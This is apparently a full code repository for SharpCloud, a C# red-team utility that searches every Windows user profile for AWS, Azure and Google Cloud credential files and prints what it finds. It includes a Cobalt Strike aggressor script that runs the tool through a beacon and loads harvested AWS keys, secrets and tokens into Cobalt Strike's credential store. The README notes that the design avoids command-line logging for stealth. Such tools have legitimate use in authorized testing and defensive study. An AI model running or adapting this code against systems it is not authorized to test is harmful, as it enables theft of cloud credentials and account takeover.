[
  {
    "path": ".gitignore",
    "content": ".DS_Store\n"
  },
  {
    "path": "LICENSE",
    "content": "BSD 3-Clause License\n\nCopyright (c) 2018, Chris Maddalena\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n\n* Redistributions of source code must retain the above copyright notice, this\n  list of conditions and the following disclaimer.\n\n* Redistributions in binary form must reproduce the above copyright notice,\n  this list of conditions and the following disclaimer in the documentation\n  and/or other materials provided with the distribution.\n\n* Neither the name of the copyright holder nor the names of its\n  contributors may be used to endorse or promote products derived from\n  this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE\nFOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\nDAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\nSERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\nCAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\nOR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n"
  },
  {
    "path": "README.md",
    "content": "# SharpCloud\nSharpCloud is a simple C# utility for checking for the existence of credential files related to Amazon Web Services, Microsoft Azure, and Google Compute.\n\nMore information: https://posts.specterops.io/head-in-the-clouds-bd038bb69e48\n\n## Basic Usage\n\nSharpCloud can be run using one of the following commands:\n\n* `SharpCloud.exe all`\n    * Searches all user profiles for credentials related to Microsoft Azure, Google Compute, and Amazon Web Services.\n* `SharpCloud.exe aws`\n    * Searches all user profiles for credentials related to Amazon Web Services.\n* `SharpCloud.exe azure`\n    * Searches all user profiles for credentials related to Microsoft Azure.\n* `SharpCloud.exe gcloud`\n    * Searches all user profiles for credentials related to Google Compute.\n\n## SharpCloud with Aggressor\n\nIf you use Cobalt Strike, this repo includes a sharpcloud.cna file for CS. This adds sveral aliases for `execute_assembly` with SharpCloud.exe:\n\n* `dump_aws`\n* `dump_gcloud`\n* `dump_azure`\n\nThe SharpCloud.exe binary needs to be in the same directory as the script.\n\nThe aliases are fairly self-explanatory. As an example, `dump_aws` is an alias for `execute_assembly SharpCloud.exe aws`. While it would be trivial to set aside the C# and write SharpCloud using shell or PowerShell commands, this was not done to keep SharpCloud's checks and data collection as stealthy as possible. That means avoiding command line logging.\n\nIt is notable that `dump_aws` will add any discovered credentials to Cobalt Strike's Credentials model. Should the alias find AWS credentials, those credentials will be saved just like credentials discovered via Mimikatz and other Cobalt Strike utilities. They will appear with the `realm` set to \"AWS\" and the access key and access secret set as the `user` and `password`. If an AWS token is present in the profile, the token will be noted in the `password` field. The AWS profile name will be saved in the `source` field.\n\nThis is only done for AWS credentials, but might be done for Azure in a future version. It's not feasible for Google Compute because Compute uses SQLite3 databases and reading the values from them becomes much trickier. It is possible, and potentially useful, to do this for credential information found inside Compute's legacy_credential directory."
  },
  {
    "path": "SharpCloud/App.config",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\" ?>\r\n<configuration>\r\n    <startup> \r\n        <supportedRuntime version=\"v4.0\" sku=\".NETFramework,Version=v4.6.1\" />\r\n    </startup>\r\n</configuration>"
  },
  {
    "path": "SharpCloud/Program.cs",
    "content": "﻿using System;\r\nusing System.IO;\r\nusing System.Management;\r\nusing System.Collections.Generic;\r\nusing System.Security.Principal;\r\n\r\nnamespace SharpCloud\r\n{\r\n    class CloudDump\r\n    {\r\n        // Checks if the current user has administrative privileges\r\n        public static bool IsAdministrator()\r\n        {\r\n            WindowsIdentity identity = WindowsIdentity.GetCurrent();\r\n            WindowsPrincipal principal = new WindowsPrincipal(identity);\r\n            return principal.IsInRole(WindowsBuiltInRole.Administrator);\r\n        }\r\n\r\n\r\n        // Collects usernames using Win32_UserAccount query, filters the usernames, and returns list\r\n        public static List<string> GetUsers()\r\n        {\r\n            // Create two user lists to ignore select local/domain usernames that will not have credentials\r\n            List<string> usernames = new List<string>();\r\n            List<string> ignored_users = new List<string>();\r\n            ignored_users.Add(\"DefaultAccount\");\r\n            ignored_users.Add(\"WDAGUtilityAccount\");\r\n            ignored_users.Add(\"Guest\");\r\n            ignored_users.Add(\"Administrator\");\r\n            ignored_users.Add(\"krbtgt\");\r\n\r\n            // Win32_UserAccount will return all use profiles on the host\r\n            // If the host is unable to talk to the domain, it will miss domain account profiles\r\n            SelectQuery sQuery = new SelectQuery(\"Win32_UserAccount\");\r\n\r\n            try\r\n            {\r\n                ManagementObjectSearcher mSearcher = new ManagementObjectSearcher(sQuery);\r\n                foreach (ManagementObject mObject in mSearcher.Get())\r\n                {\r\n                    string strUser = Convert.ToString(mObject[\"Name\"]);\r\n                    if (!ignored_users.Contains(strUser))\r\n                    {\r\n                        usernames.Add(strUser);\r\n                    }\r\n                }\r\n            }\r\n            catch (Exception ex)\r\n            {\r\n                Console.WriteLine(ex.ToString());\r\n            }\r\n\r\n            return usernames;\r\n        }\r\n\r\n\r\n        // Checks if the provided filename exists and returns its contents\r\n        static void CheckFile(string filename)\r\n        {\r\n            if (File.Exists(filename))\r\n            {\r\n                Console.WriteLine(Environment.NewLine + \"[*] Found {0}:\", filename);\r\n                string fileContents = File.ReadAllText(filename);\r\n                if (filename.Contains(\".db\")) {\r\n                    //string cleaned = fileContents.Substring(fileContents.IndexOf(\"CREATE TABLE\"));\r\n                    //Console.WriteLine(Environment.NewLine + Convert.ToString(cleaned));\r\n                    Console.WriteLine(\"L.. You will want to copy this file.\");\r\n                } else\r\n                {\r\n                    Console.WriteLine(Environment.NewLine + Convert.ToString(fileContents));\r\n                }\r\n            }\r\n        }\r\n\r\n\r\n        // Checks if the provided command exists in the provided PATH\r\n        static Boolean CheckCommand(string command, string path)\r\n        {\r\n            Boolean commandExists = false;\r\n            if (path.Contains(command))\r\n            {\r\n                commandExists = true;\r\n            }\r\n            return commandExists;\r\n        }\r\n\r\n\r\n        // Prints basic usage information for the utility\r\n        static void Usage()\r\n        {\r\n            Console.WriteLine(\" SharpCloud can be run using one of the following commands:\\r\\n\");\r\n            Console.WriteLine(\" .. \\\"SharpCloud.exe all\\\"    - Searches all user profiles for credentials related to all cloud services.\");\r\n            Console.WriteLine(\" .. \\\"SharpCloud.exe aws\\\"    - Searches all user profiles for credentials related to Amazon Web Services.\");\r\n            Console.WriteLine(\" .. \\\"SharpCloud.exe azure\\\"  - Searches all user profiles for credentials related to Microsoft Azure.\");\r\n            Console.WriteLine(\" .. \\\"SharpCloud.exe gcloud\\\" - Searches all user profiles for credentials related to Google Compute.\");\r\n        }\r\n\r\n\r\n        // Checks for files associated with AWS credentials\r\n        static void CheckAWS(string user)\r\n        {\r\n            // Credential and config file locations in $HOME on Windows\r\n            string awsKeyFile = String.Format(@\"C:\\Users\\{0}\\.aws\\credentials\", user);\r\n            Console.WriteLine(\"[+] Checking for awscli files...\");\r\n            CheckFile(awsKeyFile);\r\n        }\r\n\r\n\r\n        // Checks for files associated with Azure credentials\r\n        static void CheckAzure(string user)\r\n        {\r\n            // Credential and config file locations in $HOME on Windows\r\n            string azureTokens = String.Format(@\"C:\\Users\\{0}\\.azure\\accessTokens.json\", user);\r\n            string azureProfile = String.Format(@\"C:\\Users\\{0}\\.azure\\azureProfile.json\", user);\r\n            Console.WriteLine(Environment.NewLine + \"[+] Checking for Azure CLI files...\");\r\n            CheckFile(azureTokens);\r\n            CheckFile(azureProfile);\r\n        }\r\n\r\n\r\n        // Checks for files associated with Google Compute credentials\r\n        static void CheckGoogle(string user)\r\n        {\r\n            // Credential and config file locations in $HOME on Windows\r\n            string computeLegacyCreds = String.Format(@\"C:\\Users\\{0}\\AppData\\Roaming\\gcloud\\legacy_credentials\", user);\r\n            string computeCredsDb = String.Format(@\"C:\\Users\\{0}\\AppData\\Roaming\\gcloud\\credentials.db\", user);\r\n            string computeAccessTokensDb = String.Format(@\"C:\\Users\\{0}\\AppData\\Roaming\\gcloud\\access_tokens.db\", user);\r\n            Console.WriteLine(Environment.NewLine + \"[+] Checking for Google Compute SDK files...\");\r\n            CheckFile(computeCredsDb);\r\n            CheckFile(computeAccessTokensDb);\r\n            if (Directory.Exists(computeLegacyCreds))\r\n            {\r\n                string[] legacyCreds = Directory.GetFiles(computeLegacyCreds, \"*\", SearchOption.AllDirectories);\r\n                foreach (var file in legacyCreds)\r\n                {\r\n                    CheckFile(file);\r\n                }\r\n            }\r\n        }\r\n\r\n\r\n        // Checks for any and all credentials files\r\n        static void CheckAll(string user)\r\n        {\r\n            CheckAWS(user);\r\n            CheckAzure(user);\r\n            CheckGoogle(user);\r\n        }\r\n\r\n\r\n        /**\r\n        SharpCloud will generate a list of users, check if the current user is an administrator,\r\n        check if any of the CLI tools are installed, and then check for credential files based on\r\n        the command line option used.\r\n        **/\r\n        static void Main(string[] args)\r\n        {\r\n            if (args.Length != 0) {\r\n                // Get a list of all user profiles\r\n                List<string> allUsers = GetUsers();\r\n                // CLI commands to search for in the user's PATH\r\n                string azureCLI = @\"Azure\\CLI2\";\r\n                string computeCLI = @\"google-cloud-sdk\";\r\n                string awsCLI = @\"AWSCLI\";\r\n                // Get the current user\r\n                string currentUser = Environment.UserName;\r\n                Console.WriteLine(\"[+] Operating in the context of the '{0}' user.\", currentUser);\r\n                // Check if the current user is an administrator\r\n                if (IsAdministrator())\r\n                {\r\n                    Console.WriteLine(\"[*] Current user is an Administrator!\");\r\n                } else\r\n                {\r\n                    Console.WriteLine(\"[!] Current user is NOT an Administrator! Cloud files for other users may not be returned.\");\r\n                }\r\n                // Get the current user's PATH and check for CLI tools\r\n                string userPath = Environment.GetEnvironmentVariable(\"PATH\");\r\n                Boolean awsExists = CheckCommand(awsCLI, userPath);\r\n                Boolean computeExists = CheckCommand(computeCLI, userPath);\r\n                Boolean azureExists = CheckCommand(azureCLI, userPath);\r\n                if (awsExists)\r\n                {\r\n                    Console.WriteLine(\"[+] AWSCLI exists in the current user's PATH. You should be able to use 'aws' commands.\");\r\n                } else {\r\n                    Console.WriteLine(\"[+] AWSCLI is not in the current user's PATH.\");\r\n                }\r\n                if (computeExists)\r\n                {\r\n                    Console.WriteLine(\"[+] Google Compute SDK exists in the current user's PATH. You should be able to use 'gcloud' and 'gsutil' commands.\");\r\n                } else {\r\n                    Console.WriteLine(\"[+] Google Compute SDK is not in the current user's PATH.\");\r\n                }\r\n                if (azureExists)\r\n                {\r\n                    Console.WriteLine(\"[+] Azure CLI exists in the current user's PATH. You should be able to use 'az' commands.\");\r\n                } else {\r\n                    Console.WriteLine(\"[+] Azure CLI is not in the current user's PATH.\");\r\n                }\r\n                // Check the user arguments and then loop through users for checks\r\n                foreach (string arg in args) {\r\n                    if (string.Equals(arg, \"all\", StringComparison.CurrentCultureIgnoreCase)) {\r\n                        foreach (var user in allUsers) {\r\n                            Console.WriteLine(Environment.NewLine + \"[+] Checking home directory for the {0} user:\", user);\r\n                            CheckAll(user);\r\n                        }\r\n                    }\r\n                    else if (string.Equals(arg, \"aws\", StringComparison.CurrentCultureIgnoreCase)) {\r\n                        foreach (var user in allUsers) {\r\n                            Console.WriteLine(Environment.NewLine + \"[+] Checking home directory for the {0} user:\", user);\r\n                            CheckAWS(user);\r\n                        }\r\n                    }\r\n                    else if (string.Equals(arg, \"azure\", StringComparison.CurrentCultureIgnoreCase)) {\r\n                        foreach (var user in allUsers) {\r\n                            Console.WriteLine(Environment.NewLine + \"[+] Checking home directory for the {0} user:\", user);\r\n                            CheckAzure(user);\r\n                        }\r\n                    }\r\n                    else if (string.Equals(arg, \"gcloud\", StringComparison.CurrentCultureIgnoreCase)) {\r\n                        foreach (var user in allUsers) {\r\n                            Console.WriteLine(Environment.NewLine + \"[+] Checking home directory for the {0} user:\", user);\r\n                            CheckGoogle(user);\r\n                        }\r\n                    }\r\n                    else {\r\n                        Usage();\r\n                        return;\r\n                    }\r\n                }\r\n                Console.WriteLine(Environment.NewLine + \"[+] Job's done! Press Enter to continue.\");\r\n                Console.Read();\r\n            }\r\n            else {\r\n                Usage();\r\n                return;\r\n            }\r\n        }\r\n    }\r\n}\r\n"
  },
  {
    "path": "SharpCloud/Properties/AssemblyInfo.cs",
    "content": "﻿using System.Reflection;\r\nusing System.Runtime.CompilerServices;\r\nusing System.Runtime.InteropServices;\r\n\r\n// General Information about an assembly is controlled through the following\r\n// set of attributes. Change these attribute values to modify the information\r\n// associated with an assembly.\r\n[assembly: AssemblyTitle(\"SharpCloud\")]\r\n[assembly: AssemblyDescription(\"\")]\r\n[assembly: AssemblyConfiguration(\"\")]\r\n[assembly: AssemblyCompany(\"\")]\r\n[assembly: AssemblyProduct(\"SharpCloud\")]\r\n[assembly: AssemblyCopyright(\"Copyright ©  2018\")]\r\n[assembly: AssemblyTrademark(\"\")]\r\n[assembly: AssemblyCulture(\"\")]\r\n\r\n// Setting ComVisible to false makes the types in this assembly not visible\r\n// to COM components.  If you need to access a type in this assembly from\r\n// COM, set the ComVisible attribute to true on that type.\r\n[assembly: ComVisible(false)]\r\n\r\n// The following GUID is for the ID of the typelib if this project is exposed to COM\r\n[assembly: Guid(\"ca4e257e-69c1-45c5-9375-ba7874371892\")]\r\n\r\n// Version information for an assembly consists of the following four values:\r\n//\r\n//      Major Version\r\n//      Minor Version\r\n//      Build Number\r\n//      Revision\r\n//\r\n// You can specify all the values or you can default the Build and Revision Numbers\r\n// by using the '*' as shown below:\r\n// [assembly: AssemblyVersion(\"1.0.*\")]\r\n[assembly: AssemblyVersion(\"1.0.0.0\")]\r\n[assembly: AssemblyFileVersion(\"1.0.0.0\")]\r\n"
  },
  {
    "path": "SharpCloud/SharpCloud.csproj",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<Project ToolsVersion=\"15.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\r\n  <Import Project=\"$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props\" Condition=\"Exists('$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props')\" />\r\n  <PropertyGroup>\r\n    <Configuration Condition=\" '$(Configuration)' == '' \">Debug</Configuration>\r\n    <Platform Condition=\" '$(Platform)' == '' \">AnyCPU</Platform>\r\n    <ProjectGuid>{CA4E257E-69C1-45C5-9375-BA7874371892}</ProjectGuid>\r\n    <OutputType>Exe</OutputType>\r\n    <RootNamespace>SharpCloud</RootNamespace>\r\n    <AssemblyName>SharpCloud</AssemblyName>\r\n    <TargetFrameworkVersion>v4.6.1</TargetFrameworkVersion>\r\n    <FileAlignment>512</FileAlignment>\r\n    <AutoGenerateBindingRedirects>true</AutoGenerateBindingRedirects>\r\n  </PropertyGroup>\r\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' \">\r\n    <PlatformTarget>AnyCPU</PlatformTarget>\r\n    <DebugSymbols>true</DebugSymbols>\r\n    <DebugType>full</DebugType>\r\n    <Optimize>false</Optimize>\r\n    <OutputPath>bin\\Debug\\</OutputPath>\r\n    <DefineConstants>DEBUG;TRACE</DefineConstants>\r\n    <ErrorReport>prompt</ErrorReport>\r\n    <WarningLevel>4</WarningLevel>\r\n  </PropertyGroup>\r\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' \">\r\n    <PlatformTarget>AnyCPU</PlatformTarget>\r\n    <DebugType>pdbonly</DebugType>\r\n    <Optimize>true</Optimize>\r\n    <OutputPath>bin\\Release\\</OutputPath>\r\n    <DefineConstants>TRACE</DefineConstants>\r\n    <ErrorReport>prompt</ErrorReport>\r\n    <WarningLevel>4</WarningLevel>\r\n  </PropertyGroup>\r\n  <ItemGroup>\r\n    <Reference Include=\"System\" />\r\n    <Reference Include=\"System.Core\" />\r\n    <Reference Include=\"System.Management\" />\r\n    <Reference Include=\"System.Xml.Linq\" />\r\n    <Reference Include=\"System.Data.DataSetExtensions\" />\r\n    <Reference Include=\"Microsoft.CSharp\" />\r\n    <Reference Include=\"System.Data\" />\r\n    <Reference Include=\"System.Net.Http\" />\r\n    <Reference Include=\"System.Xml\" />\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <Compile Include=\"Program.cs\" />\r\n    <Compile Include=\"Properties\\AssemblyInfo.cs\" />\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <None Include=\"App.config\" />\r\n  </ItemGroup>\r\n  <Import Project=\"$(MSBuildToolsPath)\\Microsoft.CSharp.targets\" />\r\n</Project>"
  },
  {
    "path": "SharpCloud.sln",
    "content": "﻿\r\nMicrosoft Visual Studio Solution File, Format Version 12.00\r\n# Visual Studio 15\r\nVisualStudioVersion = 15.0.27703.2042\r\nMinimumVisualStudioVersion = 10.0.40219.1\r\nProject(\"{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}\") = \"SharpCloud\", \"SharpCloud\\SharpCloud.csproj\", \"{CA4E257E-69C1-45C5-9375-BA7874371892}\"\r\nEndProject\r\nGlobal\r\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\r\n\t\tDebug|Any CPU = Debug|Any CPU\r\n\t\tRelease|Any CPU = Release|Any CPU\r\n\tEndGlobalSection\r\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\r\n\t\t{CA4E257E-69C1-45C5-9375-BA7874371892}.Debug|Any CPU.ActiveCfg = Debug|Any CPU\r\n\t\t{CA4E257E-69C1-45C5-9375-BA7874371892}.Debug|Any CPU.Build.0 = Debug|Any CPU\r\n\t\t{CA4E257E-69C1-45C5-9375-BA7874371892}.Release|Any CPU.ActiveCfg = Release|Any CPU\r\n\t\t{CA4E257E-69C1-45C5-9375-BA7874371892}.Release|Any CPU.Build.0 = Release|Any CPU\r\n\tEndGlobalSection\r\n\tGlobalSection(SolutionProperties) = preSolution\r\n\t\tHideSolutionNode = FALSE\r\n\tEndGlobalSection\r\n\tGlobalSection(ExtensibilityGlobals) = postSolution\r\n\t\tSolutionGuid = {1AFB766A-67B0-4402-8E1F-2E1CE933E97B}\r\n\tEndGlobalSection\r\nEndGlobal\r\n"
  },
  {
    "path": "sharpcloud.cna",
    "content": "alias dump_aws {\n    # Execute SharpCloud with the \"aws\" option\n\tbexecute_assembly($1, script_resource(\"SharpCloud.exe\"), \"aws\");\n    # Once beacon receives output, find any AWS creds\n    on beacon_output {\n        # Split SharpCloud's output by newlines for iteration\n        @data = split(\"\\n\",$2);\n        $counter = 0;\n        foreach $line (@data)\n        {\n            # Find the line that denotes the beginning of new AWS creds\n            if ($line hasmatch 'aws_access_key_id.')\n            {\n                # The counter helps if multiple AWS creds are returned for one user\n                # We can detect the beginning of one and use the counter to grab the data\n                $aws_profile = replace(@data[$counter - 1], '\\[', \"\");\n                $aws_profile = \"AWS Profile: \" . replace($aws_profile, '\\]', \"\");\n                $aws_key = replace(split(\"=\", $line)[1], \" \", \"\");\n                $aws_secret = replace(split(\"=\", @data[$counter + 1])[1], \" \", \"\");\n                # Not all creds will have or need tokens, so check for that and then adcreds to beacon's credential model\n                if (@data[$counter + 2] hasmatch 'aws_session_token.')\n                {\n                    $aws_token = replace(split(\"=\", @data[$counter + 2])[1], \" \", \"\");\n                    credential_add($aws_key,\"Secret: \" . $aws_secret . \", Token: \" . $aws_token, \"AWS\", $aws_profile, beacon_info($1, \"computer\"));\n                } else {\n                    credential_add($aws_key,\"Secret: \" . $aws_secret, \"AWS\", $aws_profile, beacon_info($1, \"computer\"));\n                }\n            }\n            $counter++;\n        }\n    }\n}\n\nalias dump_azure {\n\tbexecute_assembly($1, script_resource(\"SharpCloud.exe\"), \"azure\");\n}\n\nalias dump_gcloud {\n\tbexecute_assembly($1, script_resource(\"SharpCloud.exe\"), \"gcloud\");\n}\n"
  }
]